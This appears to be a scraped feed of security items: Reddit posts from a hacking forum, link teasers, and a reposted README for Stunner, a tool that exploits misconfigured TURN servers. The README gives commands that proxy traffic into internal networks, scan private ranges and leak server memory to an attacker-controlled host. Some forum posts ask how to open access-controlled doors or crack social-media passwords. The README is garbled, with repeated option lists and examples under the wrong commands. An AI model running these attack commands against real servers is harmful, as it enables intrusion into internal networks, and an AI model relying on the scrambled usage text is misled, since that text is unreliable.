hacking: security in practice
Got my bitlocker hashes, now what?

I want to preface this by saying I have absolutely zero experience doing any of this. I'm familiar with windows and how to navigate most things but as far as any "hacking" im a noob.

I forgot the password to my bitlocker-encrypted drive and didn't save the recovery key (yes I know i'm sorry). I have been able to follow along with videos on youtube and have gotten as far as imaging my drive and using jumbojohn to run bitlocker2john.exe. It ran overnight and most of today and I now have my 4 hashes.

I know the password is at least ~12 characters but uses multiple special characters, numbers and letters. Therefore I assume trying to get that password is a lost cause.

Please help. I lost my father a couple of years ago and all of the pictures/videos/messages/notes I have involving him are on this drive.

Thanks

submitted by /u/Mitthaw
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hacking: security in practice
What is/are the best way(s) to encrypt data/files to ensure there is no possible chance anyone but you can read/access said data/files

Looking for best methods in terms of maybe some text and files. Solutions in terms of easy and quick, but also most intensive. Thanks

submitted by /u/shinygoldcollector
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hacking: security in practice
Is there any such thing as a universal key fob for a door?

Is there anyway I can register a paxton key fob without having access to the system? Anyway I can open a locked door with the Paxton system?

submitted by /u/cha0ticth0t
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hacking: security in practice
Xiaomi air purifiers NFC stickers defeated

Since one of my first post was here in this thread on Reddit I thought it would be cool to share some progress on breaking the NFC filters of the Xiaomi air purifiers...

It's done, and it's open: https://www.flamingo-tech.nl/2022/05/27/this-is-how-they-do-it/ now you can make your own filters!

This works on all Xiaomi air purifiers and does not break warranty nor is there the need to open the air purifier to install for example an modchip!

Have fun^^

submitted by /u/the_flam1ngo
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Hacking on Medium
HackThisSite Realistic Mission 11

https://cdn-images-1.medium.com/max/700/0*xoSz7gBSSz2zLGIS.jpg
Alright another website to take down, this one is fancy as it’s a premium hosting server. This site and the websites created are ancient…

Continue reading on Medium »

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hacking: security in practice
what does this mean in lifelock I'm scared

So im looking through lifelock security and I see a notification for back in November it says I was breeched but doesn't say from where it says united states services other data broker 242m what does this even mean????

submitted by /u/That_Description_423
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hacking: security in practice
Why I don't hear about malware targetting password managers?

I mean malware which steals all the passwords user holds in the unlocked vault on a disk of his/her local machine. My hypothesis is that password managers are not popular yet. If they became popular malware will emerge. What do you think?

EDIT: I'm interested in client-side attacks.

submitted by /u/repawel
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hacking: security in practice
[serious] Mitnick's son tutorial 😎 /s

https://external-preview.redd.it/sZsYewsgkd7Lw3t-F3U8ov_fT1O7MevvaVmG7PzL7Mk.jpg?width=320&crop=smart&auto=webp&s=98c8f459afa6996af190c46ffbcffa187de6906c submitted by /u/NotSoStupidBut
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hacking: security in practice
New to hacking

So like the title says, I’m new to hacking. I’ve set up a few fake accounts of Social Media (Instagram and Snapchat )and I wanted to ask if there are specialized tools for cracking passwords of these sides? Since I made the Accounts I obviously have the Username and the Account ID’s (on Instagram) I can get with OSINT. I’m familiar with Phishing, but Phishing myself seems a bit too easy. Thank you in advance

submitted by /u/Caveman0149
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WardenSwap is partnering up with Valix Consulting to strengthen the security support
https://medium.com/wardenofficial/wardenswap-is-partnering-up-with-valix-consulting-to-strengthen-the-security-support-d04b63d55fc3?source=rss------bug_bounty-5

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On the 14th of March, WardenSwap has to launch a Bug Bounty Program with a reward of up to $100,000 USD on Immunefi.Continue reading on WARDEN Official » (https://medium.com/wardenofficial/wardenswap-is-partnering-up-with-valix-consulting-to-strengthen-the-security-support-d04b63d55fc3?source=rss------bug_bounty-5)

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WardenSwap is partnering up with Valix Consulting to strengthen the security support

On the 14th of March, WardenSwap has to launch a Bug Bounty Program with a reward of up to $100,000 USD on Immunefi.Continue reading on WARDEN Official »
Read more...

Stunner - Tool To Test And Exploit STUN, TURN And TURN Over TCP Servers
http://www.kitploit.com/2022/05/stunner-tool-to-test-and-exploit-stun.html

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Stunner is a tool to test and exploit STUN, TURN and TURN over TCP servers. TURN is a protocol mostly used in videoconferencing and audio chats (WebRTC). If you find a misconfigured server you can use this tool to open a local socks proxy that relays all traffic via the TURN protocol into the internal network behind the server. I developed this tool during a test of Cisco Expressway which resulted in some vulnerabilities: https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/ To get the required username and password you need to fetch them using an out-of-band method like sniffing the Connect request from a web browser with Burp. I added an example workflow (https://github.com/firefart/stunner#example-workflow) at the bottom of the readme on how you would test such a server.
LICENSE This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. To view a copy of this license, visit http://creativecommons.org/licenses/by-nc-sa/4.0/ or send a letter to Creative Commons, PO Box 1866, Mountain View, CA 94042, USA. implemented RFCs STUN: RFC 5389 (https://datatracker.ietf.org/doc/html/rfc5389) TURN: RFC 5766 (https://datatracker.ietf.org/doc/html/rfc5766) TURN for TCP: RFC 6062 (https://datatracker.ietf.org/doc/html/rfc6062) TURN Extension for IPv6: RFC 6156 (https://datatracker.ietf.org/doc/html/rfc6156) Available Commands info This command will print some info about the stun or turn server like supported protocols and attributes like the used software. Options --debug, -d enable debug output (default: false) --turnserver value, -s value turn server to connect to in the format host:port --tls Use TLS for connecting (false in most tests) (default: false) --timeout value connect timeout to turn server (default: 1s) --help, -h show help (default: false) Example --debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS for connecting (false in most tests) (default: false)
--timeout value connect timeout to turn server (default: 1s)
--help, -h show help (default: false)
range-scan This command tries several private and restricted ranges to see if the TURN server is configured to allow connections to the specified IP addresses. If a specific range is not prohibited you can enumerate this range further with the other provided commands. If an ip is reachable it means the TURN server will forward traffic to this IP. Options --debug, -d enable debug output (default: false) --turnserver value, -s value turn server to connect to in the format host:port --tls Use TLS for connecting (false in most tests) (default: false) --protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp") --timeout value connect timeout to turn server (default: 1s) --username value, -u value username for the turn server --password value, -p value password for the turn server --help, -h show help (default: false) Example TCP based TURN connection (connection from you the TURN server): ./stunner info -s x.x.x.x:443 UDP based TURN connection (connection from you the TURN server): --debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS for connecting (false in most tests) (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server

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--password value, -p value password for the turn server
--help, -h show help (default: false)
socks This is one of the most useful commands for TURN servers that support TCP connections to backend servers. It will launch a local socks5 server with no authentication (https://www.kitploit.com/search/label/Authentication) and will relay all TCP traffic over the TURN protocol (UDP via SOCKS is currently not supported). If the server is misconfuigured it will forward the traffic to internal adresses so this can be used to reach internal systems and abuse the server as a proxy into the internal network. If you choose to also do DNS lookups over socks, it will be resolved using your local nameserver (https://www.kitploit.com/search/label/Nameserver) so it's best to work with private IPv4 and IPv6 addresses. Please be aware that this module can only relay TCP traffic. Options certificates via the connection. (default: true) --help, -h show help (default: false)">--debug, -d enable debug output (default: false) --turnserver value, -s value turn server to connect to in the format host:port --tls Use TLS for connecting (false in most tests) (default: false) --protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp") --timeout value connect timeout to turn server (default: 1s) --username value, -u value username for the turn server --password value, -p value password for the turn server --listen value, -l value Address and port to listen on (default: "127.0.0.1:1080") --drop-public, -x Drop requests to public IPs. This is handy if the target can not connect to the internet and your browser want's to check TLS certificates via the connection. (default: true) --help, -h show help (default: false) Example ./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol tcp After starting the proxy open your browser, point the proxy in your settings to socks5 with an ip of 127.0.0.1:1080 (be sure to not set the bypass local address option as we want to reach the remote local addresses) and call the IP of your choice in the browser. Example: https://127.0.0.1 (https://127.0.0.1/), https://127.0.0.1:8443 (https://127.0.0.1:8443/) or https://[::1]:8443 (those will call the ports on the tested TURN server from the local interfaces). You can also configure proxychains to use this proxy (but it will be very slow as each request results in multiple requests to enable the proxying). Just edit /etc/proxychains.conf and enter the value socks5 127.0.0.1 1080 under ProxyList. Example of nmap over this socks5 proxy with a correct configured proxychains (note it's -sT to do TCP syns otherwise it will not use the socks5 proxy) ./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol udp brute-transports This will most likely yield no useable information but can be useful to enumerate all available transports (=protocols to internal systems) supported by the server. This might show some custom protocol implementations but mostly will only return the defaults. Options --debug, -d enable debug output (default: false) --turnserver value, -s value turn server to connect to in the format host:port --tls Use TLS for connecting (false in most tests) (default: false) --protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp") --timeout value connect timeout to turn server (default: 1s) --username value, -u value username for the turn server --password value, -p value password for the turn server --help, -h show help (default: false) Example --debug, -d enable debug output (default: false)

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--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--listen value, -l value Address and port to listen on (default: "127.0.0.1:1080")
--drop-public, -x Drop requests to public IPs. This is handy if the target can not connect to the internet and your browser want's to check TLS certificates via the connection. (default: true)
--help, -h show help (default: false)
memoryleak This attack works the following way: The server takes the data to send to target (must be a high port > 1024 in most cases) as a TLV (Type Length Value). This exploit uses a big length with a short value. If the server does not check the boundaries of the TLV, it might send you some memory up the length to the target. Cisco Expressway was confirmed vulnerable to this but according to cisco it only leaked memory of the current session. Options --debug, -d enable debug output (default: false) --turnserver value, -s value turn server to connect to in the format host:port --tls Use TLS for connecting (false in most tests) (default: false) --protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp") --timeout value connect timeout to turn server (default: 1s) --username value, -u value username for the turn server --password value, -p value password for the turn server --target value, -t value Target to leak memory to in the form host:port. Should be a public server under your control --size value Size of the buffer to leak (default: 35510) --help, -h show help (default: false) Example To receive the data we need to set up a receiver on a server with a public ip. Normally firewalls are configured to only allow highports (>1024) from TURN servers so be sure to use a high port like 8080 in this example when connecting out to the internet. ./stunner socks -s x.x.x.x:3478 -u username -p password -x then execute the following statement on your machine adding the public ip to the t parameter sudo proxychains nmap -sT -p 80,443,8443 -sV 127.0.0.1 If it works you should see big loads of memory coming in, otherwise you will only see short messages. udp-scanner If a TURN server allows UDP connections to targets this scanner can be used to scan all private ip ranges and send them SNMP and DNS requests. As this checks a lot of IPs this can take multiple days to complete so use with caution or specify smaller targets via the parameters. You need to supply a SNMP community string that will be tried and a domain name that will be resolved on each IP. For the domain name you can for example use burp collaborator. Options --debug, -d enable debug output (default: false) --turnserver value, -s value turn server to connect to in the format host:port --tls Use TLS for connecting (false in most tests) (default: false) --protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp") --timeout value connect timeout to turn server (default: 1s) --username value, -u value username for the turn server --password value, -p value password for the turn server --community-string value SNMP community string to use for scanning (default: "public") --domain value domain name to resolve on internal DNS servers during scanning --ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs) --help, -h show help (default: false) Example --debug, -d enable debug output (default: false)

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